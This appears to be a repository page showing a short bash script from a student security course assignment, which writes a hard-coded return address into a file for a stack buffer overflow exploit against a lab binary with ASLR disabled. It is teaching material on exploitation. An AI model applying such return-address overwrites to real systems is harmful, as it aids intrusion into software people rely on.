aboutsummaryrefslogtreecommitdiff
path: root/CamilStaps-s4498062-Assignment-4/ex1/exploit/genretaddr.sh
blob: 1a741f22cb0ff9804b045a22dc1491a4ed2193f5 (plain) (blame)
1
2
3
4
5
6
7
8
9
#!/bin/bash
echo -e "\x70\xe4\xff\xff\xff\x7f\x00\x00" > retaddr

# 0x00007fffffffe470

# We've noticed that even with ASLR turned off, the correct return
# address can drift a few hundred bytes. We haven't determined a
# cause for this. Take this into consideration when creating, guiding
# and grading the assignment.